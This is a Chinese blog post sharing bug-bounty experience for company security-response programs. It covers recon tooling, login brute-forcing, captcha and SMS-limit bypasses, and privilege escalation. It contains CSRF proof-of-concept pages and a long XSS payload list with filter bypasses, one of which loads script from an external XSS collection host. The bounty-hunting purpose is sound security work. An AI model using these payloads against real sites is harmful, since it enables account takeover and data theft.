一个SRC混子挖SRC的半年经验分享~,基本都是文字阐述,希望能给同样在挖洞的师傅们带来一点新收获。
还是那句老话,渗透测试的本质是信息收集,对于没有0day的弱鸡选手来说,挖SRC感觉更像是对企业的资产梳理,我们往往需要花很长的时间去做信息收集,收集与此公司相关的信息,包括企业的分公司,全资子公司,网站域名、手机app,微信小程序,企业专利品牌信息,企业邮箱,电话等等,对于很多万人挖的src来说,你收集到了别人没有收集过的资产,往往离挖到漏洞就不远了。
企查查 (https://www.qcc.com)
企查查、天眼查淘宝都有那种一天的会员。对于我们信息收集其实已经够用,个人更喜欢用企查查,因为它能一键导出域名,还可以直接查看企业关联的子公司,比较方便。
主要查询的信息:
PS:一般来说100%的全资子公司src漏洞是一定会收的,其他子公司资产可能需要与src审核沟通(扯皮)。
信息整理
当我们通过各种手段对挖掘的企业进行信息收集后,我们大致能得到以下有用的信息
之后我们需要对这些信息进行归纳和整理,比如哪些是该公司的主资产,哪些是边缘资产,哪些资产看上去比较冷门,我们是可以重点关注和进行深入挖掘的。
子域名的话,对于我来说oneforall和xray的功能已经足够强大了,对于一些主域名来说,如果想要充分的收集子域名,最好用特大号字典进行最少三层的子域名爆破。这块还是layer子域名挖掘机不错。
先分享一个姿势,很多时候github上已经有热心的师傅分享了自己跑出的子域名,所以可以先到github找一找有没有现成的可以白嫖,没啥好语法,纯靠大海捞针。。
https://github.com/shmilylty/OneForAll
命令
python oneforall.py --targets ./domain.txt run
python oneforall.py --targets ./domain.txt --brute true run
我实际操作发现在挂了外网代理和没挂代理时跑出来的子域有时候差的有点大,想收集的全一点的师傅可以不挂代理和挂代理都跑一遍。然后去重一下。
子域名探测需要高级版,可以自己写个十几行的代码进行批量探测,也可以直接用这个项目里的代码,
https://github.com/timwhitez/rad-xray 命令改一下能批量探测子域名,一般5到10分钟一个子域。
因为之前一直在用masscan+nmap的方式进行端口扫描,用这个项目:https://github.com/hellogoldsnakeman/masnmapscan-V1.0
前一段时间接触到goby,感觉可视化的工具用起来还是舒服,可以短时间对一些常见端口进行扫描,还能对网站进行指纹识别,报告看起来挺舒服的。
因为在实际的端口扫描过程,由于cdn或者防火墙的原因,所以没必要一上来就全端口扫描,听一位师傅分享的经验,比如当扫描到22端口开放时,说明这个ip没有cdn保护,对于这种ip我们可以提取出来,然后重点进行全端口扫描,有收获的可能性会比较大。
猪猪侠师傅写的工具,速度很快,简单的目录扫描,主要是可以探测C段下面的很多资产,扩充攻击面。
项目地址:
https://github.com/lijiejie/BBScan
https://github.com/yhy0/BBScan (添加了springboot的泄露探测)
report下看报告,误报肯定会很多,但C段下很可能会有意想不到的资产。
主要是爬取网站的敏感js文件,js中能收集到的信息:
常用的工具
速度很快的jsfinder https://github.com/Threezh1/JSFinder
xray的rad爬虫 https://github.com/chaitin/rad
能够匹配敏感信息的JSINFO-SCAN:https://github.com/p1g3/JSINFO-SCAN
刚开始挖src往往不知道从哪下手,首先我们其实可以从各个src平台提交漏洞下拉框里看一看收取的漏洞类型。然后针对性的去学习如何挖掘,比如智联招聘src收取的漏洞类型,我们就可以针对性的学习对应的挖掘技巧。
框架注入
明文密码传输
表单破解漏洞
IIS短文件名泄露
老旧过期的HTTPS服务
跨目录下载漏洞
目录可浏览漏洞
LFI本地文件包含漏洞
RFI远程文件包含漏洞
HTTP拒绝服务攻击
弱口令登录
CSRF跨站点请求伪造
Flash点击劫持
SQL注入漏洞
XSS跨站脚本漏洞
文件上传漏洞
解析漏洞:IIS解析漏洞
解析漏洞:Apache解析漏洞
Cookies注入漏洞
越权访问漏洞
命令执行漏洞
Struts2远程代码执行漏洞
业务逻辑漏洞
用户隐私泄露
敏感信息泄漏(运维)
敏感信息泄漏(研发)
敏感文件泄漏(运维)(配置)
敏感文件泄漏(运维)(权限)
未验证的重定向和传递
Flash跨域访问资源
测试文件泄漏
开启危险的HTTP方法
HTTP参数污染
Unicode编码绕过
源码泄漏
后台目录泄漏
链接注入漏洞
SSRF服务器请求伪造
jsonp劫持
学习完基础的漏洞类型后,我们可以多看一些实战的漏洞报告。比如wooyun漏洞库和hackone上的报告。
这里列举一些我经常挖到的垃圾洞,生而为人,挖不到大洞,我很抱歉┭┮﹏┭┮。
在我们通过对目标的前期信息收集之后,首当其冲的往往就是各种奇奇怪怪的登录框,一般来说,大型的企业为了减少安全问题,一般都是用统一的登录接口登录不同的旗下网站,但是一些后台系统,运维系统,或者一些边缘业务使用了独立的注册、登录体系,这个时候往往就会存在安全问题。
现在还能用的接码平台:
最常见的一种漏洞,尤其是一些老旧的后台系统,可能验证码抓个包就绕过去了。下面是一些常见的绕过姿势:
一般来说如果只是简单的验证码绕过,一般都是低危,所以一般能够绕过验证码的情况,都要尝试爆破一波账号密码。
没有验证码或者验证码可以绕过的情况
直接上一手字典爆破,当然还是有一些小技巧:
比如可以设置固定的弱密码,比如123456,然后爆破账号。
比如可以首先收集一些网站的信息针对性的制作字典,比如域名,员工邮箱,企业名称等等,推荐工具:白鹿社工字典生成:https://github.com/HongLuDianXue/BaiLu-SED-Tool
爆破的关键在于字典,常见的字典github上都有,但是普通的弱口令现在确实不太好用了,要想提高成功的机率,还是需要碰一碰强密码,分享先知的文章:
有验证码且无法绕过的情况
源码或者js文件查找线索,邮箱,或者加密的账号密码。
特定系统或者cms,搜索引擎搜索默认管理员或者测试密码。
手动尝试常见弱口令。
这个也挺常见的,一般可以对特定用户进行轰炸的是一定会收的,横向轰炸能够消耗资源的随缘收。常见的绕过姿势:
因为这方面漏洞一旦出现基本都是高危,所以挖掘的时候
类似的思路我就不细说了,freebuf上有任意用户密码重置的系列文章,类似漏洞思路其实相差不大:
https://www.freebuf.com/author/yangyangwithgnu
敏感信息泄露的范围很广,我认为一般就是两大类,
P牛知识星球里分享的github搜索关键词:https://twitter.com/obheda12/status/1316513838716551169
github子域名监控项目:https://github.com/FeeiCN/GSIL
常见的泄露内容:
乌云上有一些案例,可以看一看。
包含的类型很多,最重要的是有一份足够强大的字典和一个好用的扫描器。
我在实际进行探测的时候,对于大批量的域名来说,更喜欢先用一份精简的小字典先进行快速扫描
比如:
比较出名的扫描器我们常见的dirsearch、dirmap,dirbuster等等。
可视化的比如TEST404系列、御剑扫描器使用体验也不错。
注:信息泄露中比较常见的swagger-ui服务泄露,可能直接提交会忽略或者低危,别忘了进一步测试泄露的接口功能。
很多时候越权来来去去都是更改一个参数的问题,更多的时候还是要细心的一个一个测业务功能,注意观察和测试操作参数和对象参数,操作参数一般是增删改查对应特定业务的敏感操作、对象参数一般是用户或者物品等。
推荐几个burp插件:
插件的作用基本还是帮助我们快速定位敏感参数,实际测试还是需要我们一个包一个包仔细的分析程序逻辑。
常见的一些越权情况:
CSRF漏洞在挖掘中最重要的是说明危害,比较容易扯皮,一般来说涉及用户资料、财产、权限的CSRF漏洞大概率会收,一般来说最高就是中危。捡捡垃圾洞还是可以的。
常见的漏洞点
1、修改个人资料、邮箱、密码、头像
2、发表文章
3、添加、删除评论
4、添加、修改、删除收货地址
5、添加管理员
(1) GET型
GET类型的CSRF利用非常简单,只需要一个HTTP请求,所以,一般会这样利用:
<img src=http://www.xxxxx.com/csrf?xx=11 />
(2) POST型
POST请求中没有token参数,然后请求也没有验证referer信息。这种是存在CSRF情况最多的一种。这种漏洞的检测方法也很简单,网页操作某功能,抓包后,如果发现没有token等参数,然后就将referer信息设置为空,再次发包请求,如果请求成功了,就说明这里有CSRF漏洞。
poc(可以用burp自己生成的):
<html>
<body>
<form name="px" method="post" action="http://www.xxxxx.com/add">
<input type="text" name="user_id" value="1111">
</form>
<script>document.px.submit(); </script>
</body>
</html>
POST请求数据为json,当服务器没有严格校验content-type类型时,POC为:
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.xxxx.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "text/plain;charset=UTF-8"); xhr.send('{"role":admin}');
</script>
Flash CSRF通常是由于Crossdomain.xml文件配置不当造成的,利用方法是使用swf来发起跨站请求伪造。
利用条件:
1、目标站点下必须存在crossdomain.xml文件。
2、crossdomain.xml中的配置允许其他域进行跨域请求。
<?xml version="1.0"?><cross-domain-policy> <allow-access-from domain="*" /></cross-domain-policy>
bypass小技巧
这个洞遇到的也比较多,一般来说是后端没有限制上传文件的类型。但是上传的脚本文件也不会解析。也就没有办法getshell。(很多SRC对于上传到cdn云服务器的任意文件上传是忽略的)。
文件上传的常见的绕过姿势应该也挺熟悉的了。。,实际测试的时候发现在进行申请企业、个人认证的时候,上传文件处常常有这个问题。
老熟人了,不多说了,常见的姿势大家应该都知道。分享一个我学XSS的文章:
https://wizardforcel.gitbooks.io/xss-naxienian/content/index.html
Broken5师傅的xsspayload:
<script>alert(1)</script>
<script src=https://xsspt.com/VBAhTu></script>
<a href=javascript:alert(1)>xss</a>
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
<img src=https://www.baidu.com/img/bd_logo1.png onload=alert(1)>
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<M onmouseover=alert(1)>M
<iframe src=javascript:alert(1)></iframe>
<iframe onload=alert(1)>
<input type="submit" onfocus=alert(1)>
<input type="submit" onclick=alert(1)>
<form><input type="submit" formaction=javascript:alert(1)>
<!-- 空格被过滤 -->
<img/src="1"/onerror=alert(1)>
<!-- 双写绕过 -->
<iimgmg src=1 oonerrornerror=aimglert(1)>
<!-- 大小写绕过 -->
<iMg src=1 oNerRor=alert(1)>
<!-- 利用eval() -->
<img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);">
<img src=1 onerror=eval(atob('YWxlcnQoMSk='))>
<!-- 利用location -->
<img src=1 onerror=location='javascript:%61%6C%65%72%74%28%31%29'>
<img src=1 onerror=location='javascript:\x61\x6C\x65\x72\x74\x28\x31\x29'>
<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
<!-- 括号被过滤 -->
<img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">
<!-- onerror=被过滤 -->
<img src=1 onerror =alert(1)>
<img src=1 onerror
=alert(1)>
<!-- 属性被转换为大写 -->
<img src=1 onerror=alert(1)>
<!-- 编码后被检测 -->
<img src=1 onerror=alert(1)>
这块我也没有经验,给大家分享两篇文章吧。。。信息收集到了还是可以试试提交的
https://mp.weixin.qq.com/s/v2MRx7qs70lpnW9n-mJ7_Q
https://bbs.ichunqiu.com/article-921-1.html
可以试一试加一加各种羊毛群,反手撸一手羊毛群的羊毛。
因为一直以来挖到高危、严重的数量寥寥无几,基本上就是一直在捡一些中低危漏洞,这段时间也看了很多牛叉的漏洞报告,想聊一聊我的思考。
这里说的信息收集更多的是如何利用已有的工具进行快速自动化的收集和整理,既要做到速度快,还要做到全面收集不遗漏信息,很多时候这个过程本身就是在发现漏洞。
这些工作应该在我们前期信息收集的阶段就应该全面的完成,所以如何快速化的进行全面的信息收集是我们需要思考和不断实践的。
SRC对于漏洞评级主要是看你漏洞可以造成的危害,所以当挖到一些低危漏洞时,可以先不急着提交,找一找有没有其他可以利用的点打漏洞组合拳。
这个能力挺欠缺的。挖洞的过程基本遇到waf就溜了,尤其是一些大厂的waf,绕其他waf就是直接嫖一些其他的师傅的思路。
心细挖天下,再加上一些运气,可能高危严重就到手了。
挖SRC需要有一个好心态,国内SRC生态并不是很好,SRC感觉更多的提供了一个相对安全的测试保障,所以更需要抱着一种学习的心态去挖,将我们学习的到的知识灵活运用,发现新的问题。不要想我今晚一定要挖到多少漏洞,要拿到多少奖金,不然可能会被忽略三连打崩心态。